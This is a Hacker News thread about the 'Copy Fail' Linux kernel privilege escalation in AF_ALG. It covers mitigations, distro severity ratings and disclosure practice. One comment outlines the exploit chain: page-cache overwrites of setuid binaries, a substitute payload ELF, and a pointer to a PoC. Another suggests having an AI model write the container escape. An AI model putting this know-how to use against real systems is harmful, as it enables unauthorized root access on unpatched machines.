It's already a configurable option in the kernel which can be fully disabled by distros if they wanted to provide their own compatibility layer, or just not ship any software that has a hard dependency on it.
I always use only custom compiled kernels on my computers, where I enable only the configuration options that I really need.
So the options related to AF_ALG have always been disabled, because I have not encountered an application that needs them, among those that I use.
Unfortunately the Linux distributions must enable in their default configuration most options, because they cannot predict what their users will need.
It does enable address space separation of secret keys from user space, which some people love:
https://blog.cloudflare.com/the-linux-kernel-key-retention-s...
https://www.youtube.com/watch?v=7djRRjxaCKk
https://www.youtube.com/watch?v=lvZaDE578yc
So it's not as simple as "should not exist". I agree though that there doesn't seem to be a valid need to expose authencesn to user space.
Disclosure: I'm co-maintaining crypto/asymmetric_keys/ in the kernel and the author/presenter in the first two links is another co-maintainer.
That can be done in userspace too -- different userspace processes have different address spaces too.
The fact that the first link recommends using keyctl() for RSA private keys is also "interesting", given that the kernel's implementation of RSA isn't hardened against timing attacks (but userspace implementations of RSA typically are).
The CloudFlare blog discusses that idea when they talk about having an "agent process" to hold cryptographic material, but they list drawbacks like having to develop two processes, implement a well-defined interface, and enforce ACLs. I'm not convinced that "developing two processes" is a reason not to do it, since the kernel is effectively just the second process now, but everything else makes sense.
It's unfortunate though since this is one thing I think Windows does decently well. The Windows crypto and TLS APIs do use a key isolation process by default (LSASS) and have a stable interface for other processes to use it [0]. I imagine systemd could implement something similar, but I also know that there are very strong opinions about adding more surface area to systemd.
[0] https://blackhat.com/docs/us-16/materials/us-16-Kambic-Cunni...
TBH LSASS is privileged enough to be a good target for exploits.
> the kernel's implementation of RSA isn't hardened against timing attacks
Cloudflare is using custom BoringSSL-based crypto code in the kernel:
https://lore.kernel.org/all/CALrw=nEyTeP=6QcdEvaeMLZEq_pYB9W...
can you please give me a real-life example of an application, on a typical linux laptop or typical linux server, which userspace application would use this CRYPTO_USER_API ? None that I looked at seem to use it: openssl, pgp, sha256sum
As Eric has correctly stated above, we believe iwd (Intel Wireless Daemon), or rather the ell library it relies on (Embedded Linux Library) is the only relatively widespread user space application relying on it.
Isn't the better argument to ask whether there'd be benefit if all those things did?
A lack of adoption isn't apriori a good argument against an interface, and serious bugs can happen anywhere.
My personal opinion for a while has been that crypto operations should be in the kernel so we can end the madness that is every application shipping it's own crypto and trust system which has only gotten worse since containers were invented.
> My personal opinion for a while has been that crypto operations should be in the kernel so we can end the madness that is every application shipping it's own crypto and trust system which has only gotten worse since containers were invented.
There’s a valid argument here but I think that’d devolve into the DNSSec trap without both a very well-designed API and a stable way to ship updates for older kernels. If people can’t get good user experience or have to force kernel upgrades to improve security, most applications will avoid it. Things like Chrome shipping their own crypto mean that they can very quickly ship things like PQC without waiting years or having to deal with issues like kernel n+1 having unrelated driver or performance issues which force things into a security vs. functionality fight.
Which does sort of loop around to the issue of Linux not having a stable ABI as a feature I suppose which would be one way to implement it with long term compatibility on kernel modules.
But the Chrome example also highlights the problem: Chrome might ship it, but vanishingly little software is ever going to upgrade and we've got an explosion of statically linked languages now.
If Linux does that, I really hope it can be done in a standardized way that doesn't make porting to *BSD more difficult than it already might be. Standards are a good thing.
> A lack of adoption isn't apriori a good argument against an interface
I mean it kind of is (perhaps not a priori, but why is that relavent?). If something is not being used, its not meeting needs, so its just increasing attack surfaces without benefit.
The primary benefit of AF_ALG is IMHO when it's combined with kernel keyrings, i.e. ALG_SET_KEY_BY_KEY_SERIAL.
To steal from the sibling post:
> * When using user space libraries, all key material and other cryptographic sensitive parameters remains in the calling application's memory even when the application supplied the information to the library. When using AF_ALG, the key material and other sensitive parameters are handed to the kernel. The calling application now can reliably erase that information [...]
It's even more than this: you can do crypto ops in user space without ever even having the key to begin with.
[Ed.: that said, maybe AF_ALG should be locked behind some CAP_*]
[Ed.#2: that said^2, I'm putting this one on authencesn, not AF_ALG. It's the extended sequence number juggling that went poorly, not AF_ALG at large. I bet this might even blow up in some strange hardware scenarios, "network packet on PCIe memory" or something like that - I'm speculating, though.]
It doesn't seem to actually get used that way in practice. ALG_SET_KEY_BY_KEY_SERIAL didn't even appear until just a few years ago. And either way, if the interface allows you to overwrite the su binary, whether it theoretically could provide some other security benefit becomes kind of irrelevant.
It is being used that way:
https://github.com/opensourcerouting/frr/blob/2b48e4f97fb021...
And, sure, if it breaks system security it's pointless. But so did "dirty pipe".
I do agree the number of issues in AF_ALG is annoying, which is why I suggested a CAP_* restriction. Maybe CAP_SYS_ADMIN in init_ns, that's kinda the big hammer.
Better implemented as another user space process than in the kernel.
You can't access TPMs that way.
Most of the Linux kernel crypto is not touching the TPM. If there is a TPM task, only that code should be in kernel, and it should be accessed from user space by a process with the appropriate token.
Yes, AF_ALG is exposing too many things, like authencesn, which has zero reason for being userspace accessible. It's a crypto mode specific to IPsec.
However,
> it should be accessed from user space by a process with the appropriate token.
That is AF_ALG. The operations it offers are what you need for full coverage. The issues with it are two:
- usage specific crypto in the kernel implements the same interfaces, and it doesn't have a filter for that, as mentioned above. It's not offering too many operations, it's offering too many algorithms.
- it's trying to be fast. I guess people also want to use crypto accelerators through it. (Which is kinda related to TPMs, there is accelerator hardware with built-in protected key storage...)
The CVE we're looking at here is in the intersection of both of these.
All the uses of vmsplice etc are a bit tricky, and that points to the need for a better interface. But given you're using splice, why not do the crypto in user space? A belief that it is better to be fast and buggy than safe and slower?
If neither a hardware component nor kernel key management is involved, crypto should be done in userspace, end of sentence.
The more I think about it, the more I think it should be behind CAP_SYS_ADMIN, or a new CAP_KCRYPT (better name TBD. CAP_CRYPT_OFFLOAD?)
Yes it should definitely require a capability.
Still a risk that some admin-enabled method (like enabling an IPsec VPN) provides a path to it, but would reduce the potential for crafting weird inputs.
I'm also wondering if it couldn't be rewritten to use io_uring interfaces.
That's really orthogonal (and you can already do io_uring with AF_ALG, at the end of the day AF_ALG is just recvmsg() and sendmsg(), which work just fine in io_uring...)
I mean for more efficient and easier to verify out-of-kernel implementations of crypto with kernel like speeds.
Good
Cheesecake
Now, is your comment contributing more to this discussion, or mine?
[dead]
I was completely unaware of https://syzbot.org, thanks for sharing!
> syzbot system continuously fuzzes main Linux kernel branches and automatically reports found bugs to kernel mailing lists. syzbot dashboard shows current statuses of bugs. All syzbot-reported bugs are also CCed to syzkaller-bugs mailing list. Direct all questions to syzkaller@googlegroups.com.
YAGNI stocks are rising, Gentoo devs that compile their own kernel probably yeeted this module. Alpine, and MUSL deviants are probably immune to this downswing.
DRY looking very bearish, do repeat yourself, do build your own, do use userspace tools even if the kernel has its own version. Not as big a hit on the DRY philosophy as those pip and npm supply chain attacks last couple of weeks though.
KISS remains unaffected for the time being.
I think the issue here is not "Don't Repeat Yourself", but "Don't Reinvent the Wheel". If your wheel is just a circle of wood, you're better off building it yourself than hiring a skilled (or sometimes not so skilled) laborer. Too much overhead and risk.
I love this. I think everyone in software should be feeling a tinge of “we should trim the fat” right now - get rid of as much of the old and infrequently used/tested code as we can. Push users towards the better tested alternatives.
But but but … wE dOnT bREaK uSErsPaCe!
Why is this available in the kernel on a box that does not use ipsec? should this be compile time enabled module instead than a generic solution?
The design philosophy of mainstream Linux distros is not like OpenBSD.
Linux distros go to market as maximally capable, maximally interoperable, and maximally available for whatever the users want to do. So there is a lot of "shovelware" that is unnecessarily installed with your base system. A lot of services are enabled that you don't need. A lot of kernel modules are loaded or ready to spring into action as soon as you connect hardware that the kernel recognizes.
All this maximizing also increases the system's attack surface, whether local or over the network. Your resources, time and effort increase, to update the system and maintain all those packages. The TCO is high.
With OpenBSD, the base system is hardened and the code is audited with security in mind. They only install or enable essential functions. So it's up to the user to dig in, customize it, and add in features that are needed.
The good news is that you can do some after-market hardening. Uninstall software that you're not using, and disable non-essential services. Tune your kernel for special-purpose, or general-purpose, but not every-purpose.
There are now special distros for containers and VMs with minimal system builds. They are designed to be as small and lightweight as possible. That is a good start in the right direction.
Thanks for the explanation. I am wondering if it is possible or does it make sense to have a modular linux that does not have these attack surfaces enabled by default. Alpine is my default solution for most Linux use cases (except when I need GPU support).
Not "by default", but still Gentoo. My USE= is several lines worth of -this -that -all-the-things. I got rid of wayland, pipewire, pulseaudio, avahi and a shitload of other stuff I don't need.
PulseAudio applications can still produce (but not record) audio through apulse and my handcrafted asoundrc
I think it would be reasonable to deprecate af_alg in favor of a character device. It's more accessible that way. The downside is that the maintainers hate adding new ioctls. I think that's fair. But I don't think a "regular" device node would cover the functionality userland expects.
That said, elsewhere ITT it's pointed out there are only a few use cases so far.
Removing this will make the friendly spooks at NSA very sad....
No, it'd make me sad. If they're lurking in there and we can do without, I'm happy to always have my own .config
If this gets removed, they'll creep in somewhere we can't find them for a while.
How did it get in? Isn’t Linus known for being rightfully fussy about what makes it into the kernel?
Would be an interesting story.
Linus has had been fussy about maybe like 5% of the things because even then he couldn't keep up with the sheer volume. Nowadays it's more like 1‰
Many things, such as ksmbd seems ill-advised when looked at from security. New AI driven exploits era will likely make projects more wary to adding functions.
iwd requires CONFIG_CRYPTO_USER_API_AEAD, so disabling this would break Wi-Fi for a lot of people.
Indeed, iwd is the main reason why general-purpose Linux distros can't disable AF_ALG yet. But many Linux systems are more specialized and don't have wireless connectivity, or they use another wireless daemon such as wpa_supplicant which doesn't have this issue.
I'm hoping we can get iwd fixed to use a userspace crypto library, as well. This is something that people could help with.
iwd also runs as root, so it would be okay with a CAP_SYS_ADMIN permission check if one were introduced, I think.
any idea what software this will break once I turn this kernel configuration off?
iwd is the main culprit (for systems that use it instead of wpa_supplicant).
I think cryptsetup / LUKS also requires it with some non-default options. With the default options, it works fine with the kconfigs disabled.
There's not much else, as far as I know. Normally programs just use a userspace library instead, such as OpenSSL.
If it should not exist what’s the rationale for keeping it instead of removing it?
can you please give me a real-life example of an application, on a typical linux laptop or typical linux server, which userspace application would use this CRYPTO_USER_API ? None that I looked at seem to use it: openssl, pgp, sha256sum
It'd make a lot of sense to sandbox AF_ALG, then, wouldn't it? At least for userspace-driven invocations. Let the kernel keep its current code-path for kernel-driven invocations, but have the same code unit files also build some other sandboxed form, to be invoked by the crypto-accelerating syscalls.
If these syscalls are used by userspace as rarely as you say, the performance impact of this kind of sandboxing wouldn't matter much. And maybe there could be a KCONFIG/boot flag to switch back to using the un-sandboxed code path for userspace invocations too, for enterprises stuck with old software who really care.
---
My own thought process on how this could work below (but I'm not a kernel contributor, so you can probably immediately picture a design better than I can):
The naive way to do this, would be for the kernel build process to emit a separate AF_ALG userland IPC server as an additional build artifact; to get distros to package this IPC server as a component package of kernel packages; and to set up the sandboxed AF_ALG "kernel bridge" so that it proxies calls through to this IPC server if it exists, and errors out otherwise. (Basically like kfuse, except in this case the only "FUSE servers" are first-party.)
But that's a bit painful, organizationally. Puts a lot of work on the distro maintainers' shoulders, that they might just not bother doing. Prone to error. I think there are better alternatives.
1. Maybe the userland syscalls that rely on AF_ALG could instead ground out inside the kernel in a copy of AF_ALG that's been compiled to eBPF? Then that eBPF bytecode could just be embedded into the kernel.
2. Maybe the Linux kernel could consider a facility that would enable it to act as a hybrid microkernel (similar to macOS's XNU) — with arbitrary static sections of the kernel image/kernel modules [or perhaps standalone static ELF binaries embedded within kernel/kmod .data sections] being spawned not as supervisor-mode kthreads doing their own autonomous thing, but rather as unprivileged user-mode kernel threads, running as IPC-servers for the rest of the kernel to talk to?
- The rest of the kernel could talk to these "userspace kthreads" via some nonblocking IPC mechanism; but this mechanism wouldn't need to be exposed to userland the way macOS's XPC is; it could be kernel-to-kernel only (where these "userspace kthreads", despite being in userspace, are still fundamentally kernel threads, and so get to participate in it.)
- Also, these "userspace kthreads", when they're the active scheduled task, would have the kernel image's read-only sections [or their binary's sections, from within the kernel's .data section] mapped into their address space, since that's the binary they're executing against. But they wouldn't inherit [or the spawning mechanism would actively prune from their task struct] the rest of the kernel's mappings. So they'd have to either use the IPC mechanism, or use regular syscalls, to do anything with the kernel, just like any userspace task.)
I don't see those eBPF or microkernel ideas as being particularly realistic! But there are some simple ways AF_ALG's attack surface could be reduced (as an intermediate step to disabling it entirely), like requiring CAP_SYS_ADMIN and/or limiting the algorithms to a specific list.
What other kernel modules would you suggest disabling that aren't used usually?
IIRC some versions of cryptsetup require access to these APIs.
It doesn’t help that the historically dominant userspace implementation of most of this stuff was OpenSSL, which is also terrible.
It seems there was some kind of confusion during the disclosure process, because the vendors aren't treating this vulnerability as serious and it remains unpatched in many distros.
https://access.redhat.com/security/cve/cve-2026-31431 "Moderate severity", "Fix deferred"
https://security-tracker.debian.org/tracker/CVE-2026-31431
https://ubuntu.com/security/CVE-2026-31431
https://www.suse.com/security/cve/CVE-2026-31431.html
Seems like distros consider it a medium risk because it doesn't involve remote code execution and requires local access. Though it allows local root privilege escalation which is considered high priority.
https://ubuntu.com/security/cves/about#priority
> Medium: A significant problem, typically exploitable for many users. Includes network daemon denial of service, cross-site scripting, and gaining user privileges.
Strange that it's not classified as "high", which specifically includes "local root privilege escalations".
> High: A significant problem, typically exploitable for nearly all users in a default installation of Ubuntu. Includes serious remote denial of service, local root privilege escalations, local data theft, and data loss.
It is high now, someone at canonical is paying attention it seems
if your model is that linux is just about single-user desktops, this local exploit isn't too bad. or if your model is nothing but DB servers or the like.
mystifying to me that shared, multi-user machines are not thought of. for instance, I administer a system with 27k users - people who can login. even if only 1/10,000 of them are curious/malicious/compromised, we (Canadian national research HPC systems) are at risk. yes, this is somewhat uncommon these days, when shell access is not the norm.
but consider the very common sort of shared hosting environment: they typically provide something like plesk to interface to shared machines with no particular isolation. can you (as a website owner or 0wner) convince wordpress/etc to drop and execute a script? yep.
> if your model is that linux is just about single-user desktops, this local exploit isn't too bad.
For example, if you have passwordless sudo, you've already got a widely known LPE vulnerability lurking on your system.
Only for your user, and it means a keylogger on the system if it gets rooted can't pull your password to try on other machines. Personally I always either login as root or use passwordless sudo.
Yubikeys are also surprisingly annoying when setup for the as well. A working developer just needs sudo a lot.
Realistically a "sudo button" would be handy, on the keyboard, with a display to show a confirmation pin for the request (probably also needs a deny button so you can try and identify weird ones).
Sounds like a good use case for that new Copilot button you see on newer keyboards.
You don't even need a button. Just a secure dialog like Windows has.
I mean, that's what you have pinentry for.
hmm have i missed anything?
Any program on your computer can just run "sudo" to escalate itself.
The problem is not the passwordless sudo but running untrusted programs on your computer under your user. They don’t need sudo to steal your SSH keys or inject malicious code in your .bashrc.
Not to bad? So we just threat linux overall as a single user system or what?
Ubuntu is not really targeting multi-user any more. Security update installation is deliberately delayed for all users, until at some point all unprivileged users ended all processes launched from the vulnerable snap image. (Firefox RPC breaks when you replace the binary, so having to reopen your browser to keep opening tabs simple because security upgrades were applied in the background would be inconvenient)
Ubuntu seems to have updated the page to say that it's a high priority now.
it's not like this couldn't be chained with some other exploit to get remote access to get remote root access which seems like a bit of an issue
Local access is a bit of a misnomer though, a vulnerable website can be tricked into running a script
True but that requires another vulnerability.
It's security in depth. You build your server in a way that it doesn't allow remote code execution, and then you run it with an unprivileged user so that if it does allow it, the consequences are limited. And if running arbitrary code is a feature (you are github or whatever) you use VMs.
It was already known to attackers (or basically anyone watching) weeks ago when the patch hit the kernel but it wasn't communicated by upstream as a vuln (because Linus and Greg do not believe that vulnerabilities are conceptually relevant to the kernel).
Will this continue like that even when the prophesied Mythos Vulnocalypse hits the Kernel?
This stance doesn't seem sustainable any more to me.
The response from Greg was that Mythos proved that upstream was right all along and that they'll continue to do things the same way. That's my recollection, at least - pretty sure it was something like that, could have been even worse though and I'm misremembering.
The stance was never sustainable, hence linux LPEs being constantly available. The solution is to treat your kernel as impossible to secure. Notably, gvisor users are not impacted by this CVE. Seccomp also kills this CVE.
How about SELinux, like on Android?
To even get the su binary on Android you have to patch the OS. So this exploit can't work on Android. Because there is no su binary to target.
Update: Just tried it on Termux and as expected even creating an AF_ALG socket requires root access.
The specific exploit payload for the POC relies on a su binary. The vuln is ambivalent and other non-su paths will exist.
Of course, but it does not matter as the entire AF_ALG module is forbidden by SELinux anyway (on Android).
That's fine and a very separate reason why it would not be exploitable, also assuming that the module is not just compiled in since then loading it would be irrelevant.
I assume that wouldn't help here but I could easily be wrong. (Assuming if you're asking if SELinux would block this exploit).
selinux on enforcement mode did not mitigate the exploit when I tested today on fedora coreos :(
As far as we can tell, nobody disclosed it to the distributions, only to the kernel security team (who did not reach out to distributions). So the distributions are all scrambling now.
Good lesson in how not to do disclosure.
Why wouldn't the kernel security team reach out to distributions?
The Linux project's view is that almost all kernel bugs are security vulnerabilities. They don't treat something like this as anything special.
I can understand that PoV, but it doesn't fit with distributions' approach to security. So, in practice, one has to reach out to distributions individually, or use distros lists on openwall.org to coordinate with all distros.
RedHat has also changed it to "Important severity" and "Affected" now.
Yeah, it was also staged for release on the affected kernel branches a while ago, but almost all still had the window open and only tonight got the merged across all maintained kernel versions.
It's not good... and surely not "responsible/planned" disclosure.
I'm schocked that ubuntu is aware of this and the prv lts is not patched yet :|
wtf
upgraded today and they've put the kernel module install override in place. (wsl2/ubuntu)
Yeah, by ubuntu's own guidelines linked on that page, this should be priority: high, but instead it's marked as medium.
That was fixed, it’s now marked high.
I thought that. surely people are going crazy right now owning anything with an our of date Wordpress exposed.
The upstream stable kernels (6.12.85, etc.) are out now with the fixes.
If you want to use the suggested mitigation (disabling kernel module `algif_aead` with a modprobe config), and you do not want to run that whole obfuscated shell code to get an actual root shell, but only check if the module can be loaded, here is a readable version of its first few lines:
Similarly, when the mitigation is in place, should fail with an error.That would suggest that CRYPTO_USER_API_AEAD=y in your kernel config. You can disable it in that case by setting that to "n", recompiling your kernel, and putting the new kernel in place.
Indeed, no modprobe.d will help when the feature is compiled into the kernel ("=y") instead of compiled into a runtime-loadable module.
It's unfortunate that this does not include which versions of the kernel are vulnerable/patched, especially since this is a builtin module which cannot be easily removed with rmmod...
I was wondering if I was vulnerable running Fedora 44, kernel 6.19.14, and after a few minutes of digging I was able to find the linux-cve-announce mailing list post: https://lore.kernel.org/linux-cve-announce/2026042214-CVE-20... which says:
Hope that helps.Greg KH says more backports coming soon.
https://openwall.com/lists/oss-security/2026/04/30/12
most distros backport fixes which does not increment that version number. i.e. they patch it, they do not ship a completely new kernel release.
Thanks for this - I was wondering why I got the password prompt on my Fedora 43 with latest packages.
This submission is currently the main HN submission.
As of now the submission title is simply “Copy Fail”.
Given the severity of the exploit, can we edit the Title to add some context that it’s a major Linux vulnerability?
Eg the other submissions say this : “Copy Fail: 732 Bytes to Root on Every Major Linux Distribution.”
I dont really get why you'd
- buy a domain
- vibe code a page/artifact/whatever (which, given the quality of LLM wordings, only makes an argument less strong)
- post it on HN with no further explanation in the title
Why not write a detailed report? Even a tweet makes much more sense in my head than this. Even a logo??
Sorry if this comes over as salty, I guess I'm just not getting the thought process.
> I dont really get why you'd buy a domain [...] Even a tweet makes much more sense in my head than this
I think we should be celebrating people hosting their own content on their own website instead of just posting on some social media site.
I think they’re using it to promote their product, Xint Code, which was used to discover it. That’s the way I read it anyway.
I hope they sell a lot of Xint Code licenses, so they don't have to sell their findings.
Considering they kinda botched the disclosure to Linux distros, I guess they wanted something most sensational to sell more licenses.
They did not, in fact, botch anything. They notified the responsible party and followed a practice that is pretty much the accepted norm (and for good reason).
How recursive should their notifications be? Just the tip three distros? The top dozen? Every embedded Linux router company? How about every hosting provider?
They did what they're supposed to without being paid for it. The only other good source of funding for security research besides marketing budgets for security companies will NOT result in a disclosure timeline you'd be happier with. ;-)
But they most probably did get paid for it, they have ads for their shit all over the website.
strategically botched ;)
How did they botch the disclosure to distros?
They did not make a disclosure to the distros
Definitely comes over as salty. Naming major flaws has been a tradition for decades. Remember Heartbleed? It had a site and a logo :) Shellshock, Meltdown, Spectre as well. A few more: https://github.com/hannob/vulns
This site though is pretty useful; first it serves as a central location to point people to with short links in chats/emails/whatever, then it has a quick visual explainer and a link to the detailed technical report for those who want more info. Pretty neat.
Last but not least, buying the domain must have taken 5 minutes, prompting the page must have taken 30 minutes and posting it on HN must have taken 1 minute. So it certainly wasn't a lot of work in the grand scheme of things and probably did not deter the team from doing other important things.
It used to be done for fame and visibility. Give a marketable name and a website, your exploit will be talked about and your name will shine in the industry.
Now it's done by an LLM to sell more LLMs services. Disclosure is botched to have the most sensational title so more click more upsell.
I'm being very cynical here but who says that their tool or LLM discovered this. How do we know they didn't hire some expert security researchers to find it or bought it off the black market as a promotion stunt.
With that being said, I wouldn't mind if they made more sales on whatever they're advertising IF they followed the disclosure process well. A bad disclose immediately tells me I can't trust them because their moment in the light was more important that the safety of millions of boxes.
Maybe it’s tradition https://news.ycombinator.com/item?id=7548991
Where would you have them write a detailed report if not a website?
You are wrong. We should ditch walled gardens like twitter/facebook/ig
The domain is canonical.
Then it's syndicate everywhere.
But all roads lead back to the domain.
[dead]
Yes, strongly agree.
This is HUGE news, I would have skimmed over "Copy Fail".
The blog post might be a better place to link to also, it has more details on the exploit.
https://xint.io/blog/copy-fail-linux-distributions
There are also some good threads on which distros are vulnerable and mitigations on the github page.
https://github.com/theori-io/copy-fail-CVE-2026-31431/issues
LPE = local privilege escalation
Too many darn acronyms. This one wasn't too hard to figure out from context but I wish people would define acronyms before using them!
LPE is a very well-known acronym within the security community, it's not purely academic or obscure or anything.
I agree that it would be a good idea to define it explicitly when writing for a broader audience, but I don't think it's particularly egregious that they didn't. It's certainly something I could see myself forgetting.
Then again, the whole writeup appears to be AI-generated, so...
Sure, but the target audience of copy.fail is surely not the security community but regular sysadmins who probably don't otherwise follow as closely.
I would absolutely expect a sysadmin in particular to know and understand the term and acronym.
Well I would expect a sysadmin to have already been following the kernel mailing lists and not even need to look at copy.fail.
In fact, why do people even write stuff down? Everyone should just know everything.
It's still just courteous to define acronyms on first use, it doesn't take any real effort to do that.
Very much true, and I would never criticize that. Just that this term would be particularly obscure to a sysadmin which seems completely backwards.
Understanding a term with the help of context is very different from guessing what the letters of an acronym might mean. The latter is more like a crosswords puzzle, and a totally unneccessary task for the reader.
It is nowhere near this. There are very few acronyms in the IT world that are actually well-known outside of it. LPE is less well-known than LVAD or MCU.
https://www.acronymfinder.com/Information-Technology/MCU.htm...
https://www.acronymfinder.com/LVAD.html
https://www.acronymfinder.com/Information-Technology/LPE.htm...
> LPE is less well-known than LVAD or MCU.
I knew what LPE stands for but not the others. (I've seen MCU mentioned and kinda had a vague feeling for what it is. Never even seen LVAD.)
To be fair, I just consulted 3 cybersecurity glossaries (SANS.org, NIST CSRC, Huntress), and none of them list "LPE" nor "Local Privilege Escalation".
If you type "LPE" into English Wikipedia's search bar, and press "Enter", you'll be sent to a disambiguation page which contains a link to the relevant article.
https://en.wikipedia.org/wiki/LPE
Good writing for a broad audience requires it. Unfortunately the LLMs don't tend to adopt this guideline.
it’s a CVE write up; the audience for these knows what an LPE is.
That’s very optimistic. I’d bet there are an order of magnitude more people wondering how exposed they are than security researchers reading this.
https://duckduckgo.com/?q=LPE+security&ia=web
wow
Sure, nobody’s saying it’s an inscrutable mystery but if your goal is to inform a wide audience it’s considered good form to expand all but the most common acronyms. It’ll even get you more internet points than petty smugness.
I think sysadmins should learn the term LPE tbh
I've read many CVEs (somehow that acronym is ok... heh) but have never seen LPE despite being familiar with the concept.
That seems literally borderline impossible.
You should re-evaluate your probabilities, I too have heard frequently of CVEs, but never of an LPE.
I'm sure lots of people have heard of CVEs, but have you actually read many? LPE is an extremely common term. It's like not knowing RCE. These are the terms used.
I'm as stunned as you are. I have to read CVEs on a weekly cadence (like contractually required to) and LPE/RCE are kind of the main keywords we look for in them. Also increasingly TOCTOU. If anyone who actually has to respond to CVEs told me they had never seen these terms before I would judge them as being unserious.
I'll raise my hand here and risk downvotes from very smart people who are smarter than me, but I've heard of CVE but not LPE or RCE. I know what the latter two terms are but am not used to seeing them in acronyms.
So what's missing is that keeping up-to-date with CVEs is important and some CVEs are Internet-nerd famous. Remember Heartbleed? Even some casual gamers I know had heard of it. And everyone who's mildly serious about sysadmin knows you want to defensively keep systems patched against important CVEs. The second layer of that, what the exploits actually are or do, is a second-layer term of art, one that one might miss the jargon for even if one has familiarity with the concepts.
To me, the fact that the page is obviously AI-assisted is way more upsetting than some guy not knowing what an acronym means. There's something about AI prose that is just so fucking tedious. It makes the mind glaze over.
To be clear, I'm not suggesting that you if have heard of CVEs therefor you must have heard of LPE. I'm saying if you have read many of them you would have seen these terms.
I obviously do not expect someone who has merely heard of various CVEs before to know anything about the contents of those CVEs. The other poster said they had "read many CVEs", which I took to mean they have read many CVE disclosures, where the term is extremely common. Perhaps they meant that they've read about CVEs, in which case I can see why the term would not be on their radar.
some people just don't have a good memory for acronyms. It's one thing to learn the concept of a privilege escalation, but an entirely different thing to play mental memory with TLAs (three letter acronyms). Acronyms remove all the context from a term which makes them way harder to memorize. A bit like knowing your friends vs knowing their phone numbers.
I think they've almost certainly seen it written out, just not as an acronym. I figured out what it stood for based on context and knowing the full phrase, but I don't recall actually seeing the LPE acronym in recent memory. Whereas with CVE it's the opposite: I almost never see it written out, and even now find it non-obvious what the E stands for, bizarrely enough.
I could see it for someone who is only somewhat in tune with security work today.
Back in the day those of us breaking into shitty php sites didn't use LPE, we used "privesc", IIRC.
Content at the OP link http://copy.fail seems fairly different from any normal CVE I’ve seen.
I don't know why, but newer writers have never been taught to expand their acronyms on first use. I blame the US education system.
Good thing nobody is silly enough to let fully autonomous AI agents run as regular users on these affected operating systems. That could be disastrous given a zero day prompt injection technique.
I don't see what the issue is, my agent is already running as root.
Yeah it has all the government logins and full gmail access. It will be too busy to bother rooting the local machine!
Shouldn't be a problem, we're currently clean on OpSec.
As it should for full yolo_O
Good thing we haven't normalized installing things with curl | sh
Yeah, that's great!
Imagine we would download random code from the internet and just execute it, like with NPM, PIP, Maven, Cargo etc.
cargo/uv/go have lock files though
with curl | sh you could use a checksum you download with curl!
Or npm being allowed to run arbitrary post install scripts
I don’t think that matters as it’s usually curl | sudo sh
I literally ship an installer that runs with curl | bash... reading this thread while patching my servers is a fun experience lol
[dead]
The page itself seems vibecoded and a bit of an advertisement, but it does look like the vulnerability is real and high risk. It does explain the big security update I just got, guess I'll prioritize updating today.
This is pretty obviously an advertisement but it's a pretty good advertisement imo, it pairs a meaningful contribution to the OSS ecosystem (discovering and patching a real bug) with selling your cybersecurity tool at the same time.
The incentive previously was having more secure software making a name for yourself. The incentive now is finding the most noisy vulnerability so you can push FUD to sell your AI software.
These guys don't need to advertise, they are already 100% busy with work. But who wastes their time manually creating web pages? Especially kernel devs.
Side comment: I have recently used Claude Code to make a few sites for testing purposes. In the prompt I added "don't make it look vibe coded," and it worked pretty well: No purple gradients, bento box layouts, etc. Nothing spectacularly original, either, but probably enough to avoid accusations of vibe coding.
it's advertising their AI, not the talents of their humans :D
People are confusing the presentation layer with the content, just a surface layer analysis. Basically people are feeling so burnt by reading AI fluff that they make a rushed judgement.
Writing something by hand requires effort and signals seriousness. It's not unreasonable to take things less seriously when they come wrapped in low-effort packaging.
Sometimes that effort is better spent on other things.
It's not the effort or the lack thereof here that's the issue, but rather the message you're sending by using slop tools to create the design of the advertisement of your research. It looks cheap.
I'm sure that, at first glance, many more people would take this much more seriously had the authors gone with a style-less HTML page or something, and that'd require _less_ effort, not more.
I have heard this logic before, defending over-engineering the looks to hide a brittle backed. Both sides look very entrenched on their position, I lean more towards having a solid backend and see the polished frontend as a waste of effort, but I understand your logic of seeing it as professionalism. My point is that you are not sending only one message by using a cheap slop static html: some will see lazy and cheap people, some will see people focusing on the real thing with no time or willingness to make shiny sites.
You can make a simple and serious website pretty easily now. Don’t need the shiny part
With vibe coding, html is a visualiation tool. not sure if i get your problem with that?
Quickly dove into this.
1. Yes, it's real.
2. Current chain can write any arbitrary content to any user-readable file (into the page cache).
3. Current chain relies on an available target suid binary that you can open() as a lowpriv user.
4. Current exploit relies on that binary being /bin/su and then being able to execve(/bin/sh, 0, 0) (which doesn't work on alpine, etc.). The former is easily replaced in the code. The latter needs a rebuilt payload ELF (also easy).
5. The authors say they have other chains (including ones that allow container escapes). I believe them.
6. A mildly de-minified PoC for Alpine with a new payload ELF is at hackerspace[pl]/~q3k/alpine.py . You'll need /bin/ping from iputils. This should be now somewhat reliable on any distro that has a `/bin/sh` and any setuid-and-readable binary (you'll just need to find it on your own).
And yeah, you can just change arbitrary instructions of any running process (including privileged) as long as you have read access to that process' binary:
https://object.ceph-waw3.hswaw.net/mastodon-prod/media_attac...
So this replaces a SUID binary, in order to run as PID 0. The website claims it can escape "Kubernetes / container clusters" and "CI runners & build farms" but I don't see anything supporting the claim it can escape a container (or specifically, a user namespace).
I ran the exploit in rootless Podman, and predictably it doesn't escape the container.
They also claim their script "roots every Linux distribution shipped since 2017.", but only tested four; and it doesn't work on Alpine
>The website claims it can escape "Kubernetes / container clusters" and "CI runners & build farms" but I don't see anything supporting the claim it can escape a container
they state that the write-up is forthcoming. presumably there is some additional steps or modifications that will be detailed in the 'part 2'.
"Next: "From Pod to Host," how Copy Fail escapes every major cloud Kubernetes platform."
This is correct. The container escape exploit and writeup is not yet released.
Opus 4.7 it if you can't wait
> They also claim their script "roots every Linux distribution shipped since 2017.", but only tested four; and it doesn't work on Alpine
They've done themselves no favours at all with their write up.
It does seem legitimate (I was able to use the PoC on a 24.04 instance), and seems like it should be a big deal, but the actual number of affected distributions seems way lower, and not even remotely as per their claim every distribution since 2017.
For example with Ubuntu, if I'm reading it right there's some impact in 16.04 (EOL), but then at least as per their analysis, only the vendor specific 6.17 kernels they ship that have it (e.g. linux-gcp, linux-oracle-6.7 etc.). That's a relatively new kernel version they started shipping recently, after it was released upstream last September.
i mean, it doesn't work on any SELinux, but it's still quite severe anyhow
Have you got any info about this. 'seinfo -c' shows there is an alg_socket class. I presume this permission is required to be able to create an AF_ALG socket:
... that's a lot of domains, including container_t and user_t; and obviously anything unconfined_t can't be expected to be restricted.(Maybe you & others are specifically thinking of Android's policy?)
